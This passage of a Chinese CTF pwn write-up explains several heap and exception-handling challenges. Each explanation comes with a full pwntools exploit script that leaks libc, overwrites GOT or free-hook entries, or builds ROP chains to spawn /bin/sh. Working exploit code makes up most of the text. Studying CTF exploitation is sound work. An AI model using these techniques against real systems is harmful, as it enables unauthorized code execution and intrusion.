free_hook_addr = libc_base + libc.symbols['__free_hook' ] system_addr = libc_base + libc.symbols['system' ] print (hex (libc_base), hex (free_hook_addr))payload = p64(0 ) * 2  + p64(0x80 ) + p64(free_hook_addr) edit(0 , len (payload), payload) edit(0 , 8 , p64(system_addr)) delete(2 ) p.interactive() 
zctf2016_note2 
my_read()函数存在整型溢出,循环使用的i是unsigned类型,输入0即可输入任意长度的内容。notelist[0]处写入¬elist[0]-0x18。将其覆写为free()的got表地址,泄露出来计算libc,再次将其覆写为system()函数的地址。释放一块写有/bin/sh的堆即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from  pwn import  *from  LibcSearcher import  *p = remote('node5.buuoj.cn' , 29678 ) attachment = ELF('./note2' ) def  create (len , content    p.sendlineafter(b'>>' , b'1' )     p.sendlineafter(b'(less than 128)' , str (len ).encode())     p.sendlineafter(b'content:' , content) def  delete (index ):    p.sendlineafter(b'>>' , b'4' )     p.sendlineafter(b'note:' , str (index).encode()) def  edit (index, choice, content ):    p.sendlineafter(b'>>' , b'3' )     p.sendlineafter(b'note:' , str (index).encode())     p.sendlineafter(b'[1.overwrite/2.append]' , str (choice).encode())     p.sendlineafter(b'TheNewContents:' , content) def  show (index ):    p.sendlineafter(b'>>' , b'2' )     p.sendlineafter(b'note:' , str (index).encode()) p.sendline(b'asd' ) p.sendline(b'asd' ) notelist = 0x602120  payload = p64(0 ) + p64(0xa1 ) + p64(notelist - 0x18 ) + p64(notelist - 0x10 ) create(0x80 , payload) create(0x10 , b'' ) create(0x80 , b'' ) delete(1 ) payload = b'/bin/sh\x00'  + p64(0 ) + p64(0xa0 ) + p64(0x90 ) create(0 , payload) delete(2 ) free_got = attachment.got['free' ] edit(0 , 1 , b'a'  * 0x18  + p64(free_got)) show(0 ) p.recvuntil(b'is ' ) free_addr = u64(p.recv(6 ).ljust(8 , b'\x00' )) libc = LibcSearcher('free' , free_addr) libc_base = free_addr - libc.dump('free' ) system_addr = libc_base + libc.dump('system' ) print (hex (libc_base))edit(0 , 1 , p64(system_addr)) delete(3 ) p.interactive() 
hitcon2014_stkof 
与前两题一样的unlink操作,注意目标地址为list[2]。free_got覆写为puts_plt,再将某一个list指针利用unlink覆写为puts_got。最后再free掉这个list就可以打印出puts函数的真实地址。之后算地址,拿shell的步骤大差不差。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from  pwn import  *p = remote('node5.buuoj.cn' , 26589 ) attachment = ELF('./stkof' ) libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so' ) def  create (len     p.sendline(b'1' )     p.sendline(str (len ).encode()) def  delete (index ):    p.sendline(b'3' )     p.sendline(str (index).encode()) def  edit (index, len , content ):    p.sendline(b'2' )     p.sendline(str (index).encode())     p.sendline(str (len ).encode())     p.send(content) free_got = attachment.got['free' ] puts_plt = attachment.plt['puts' ] puts_got = attachment.got['puts' ] list  = 0x602140 create(0x80 ) create(0x80 ) create(0x80 ) create(0x80 ) payload = p64(0 ) + p64(0x81 ) + p64(list  + 0x10  - 0x18 ) + p64(list  + 0x10  - 0x10 ) + p64(0 ) * 12  + p64(0x80 ) + p64(0x90 ) edit(2 , len (payload), payload) delete(3 ) payload = p64(0 ) + p64(free_got) edit(2 , len (payload), payload) edit(0 , 8 , p64(puts_plt)) payload = p64(0 ) + p64(puts_got) edit(2 , len (payload), payload) delete(0 ) puts_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) libc_base = puts_addr - libc.symbols['puts' ] system_addr = libc_base + libc.symbols['system' ] print (hex (libc_base))payload = p64(0 ) + p64(free_got) edit(2 , len (payload), payload) edit(0 , 8 , p64(system_addr)) edit(1 , 8 , b'/bin/sh\x00' ) delete(1 ) p.interactive() 
异常处理 
[DASCTF2024]control 
vuln函数中存在栈溢出,但是有canary保护,且当读入数据超过0x60字节之后会抛出异常。但是由于vuln函数不会处理异常,将会触发unwind,让main函数处理异常,此时会使用vuln的栈帧返回main并跳过canary检测。
题目给出了bss段上0x10字节可控的gift,即两个地址。在vuln函数中将其rbp覆写为gift,异常处理后main函数中的leave; ret;会使得rbp变为*gift[0],rip变为*gift[1]。我们将gift[1]设置为vuln函数中read之前的地方,跳过vuln函数创建栈帧的部分。这样在后续读取的时候就可以直接覆盖read函数的返回址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from  pwn import  *p = process('./control' ) attachment = ELF('./control' ) gift = 0x4D3350  pop_rdi_ret = 0x401c72  pop_rax_ret = 0x462c27  pop_rsi_ret = 0x405285  pop_rdx_ret = 0x401aff  syscall_addr = 0x40161e  p.recvuntil(b'Gift>' ) p.send(p64(gift + 0x70 ) + p64(0x402177 )) p.recvuntil(b'control?' ) p.send(p64(gift) * 15 ) p.recvuntil(b'control?' ) p.send(b'/bin/sh\x00'  + p64(pop_rax_ret) + p64(0x3b ) + p64(pop_rsi_ret) + p64(0 ) + p64(pop_rdx_ret) + p64(0 ) + p64(pop_rdi_ret) + p64(gift) + p64(syscall_addr)) p.interactive() 
[DASCTF2024]exception 
vuln函数很奇怪,没有ret且必定抛出异常。给出的溢出空间非常大,可以直接劫持main函数的栈帧。注意利用main函数里的格式化字符串泄露程序基址、libc基址、canary。配合vuln给出的栈地址打ret2libc。牛魔,比赛的时候光顾着看control了,怎么感觉这个更简单。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from  pwn import  *p = process('./exception' ) libc = ELF('./pwn/libc.so.6' ) pop_rdi_ret = 0x23b6a  pop_rsi_ret = 0x2601f  pop_rdx_ret = 0xdfc12  ret = 0x22679  p.sendafter(b'name\n' , b'%p'  * 0x10 ) recv = p.recvuntil(b'w' ).replace(b'(nil)' , b'' ).replace(b'w' , b'' ).split(b'0x' ) proc_base = int (recv[-1 ], 16 ) - 0x480  libc_base = int (recv[-5 ], 16 ) - 0x1ecb80  canary = int (recv[-9 ], 16 ) bin_sh_addr = libc_base + libc.search(b'/bin/sh' ).__next__() system_addr = libc_base + libc.symbols['system' ] print (hex (proc_base), hex (libc_base), hex (canary))print (hex (bin_sh_addr), hex (system_addr))p.recvuntil(b'stack\n' ) p.recv(2 ) stack = int (p.recv(12 ), 16 ) print (hex (stack))payload = b'\x00'  * 0x70  + p64(stack + 0xa0 ) + p64(proc_base + 0x408 ) + p64(0 ) + p64(canary) + p64(0 ) * 3  + p64(libc_base + pop_rdi_ret) + p64(bin_sh_addr) + p64(libc_base + pop_rsi_ret) + p64(0 ) + p64(libc_base + ret) + p64(system_addr) p.sendlineafter(b'exception' , payload) p.interactive()